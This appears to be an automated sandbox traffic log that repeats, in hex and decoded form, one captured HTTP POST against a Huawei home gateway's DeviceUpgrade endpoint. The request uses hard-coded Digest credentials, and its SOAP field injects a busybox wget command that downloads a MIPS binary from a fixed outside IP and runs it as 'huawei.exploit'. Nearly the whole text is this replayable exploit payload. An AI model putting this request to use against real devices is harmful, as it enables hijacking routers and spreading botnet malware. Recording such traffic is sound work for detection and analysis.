22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
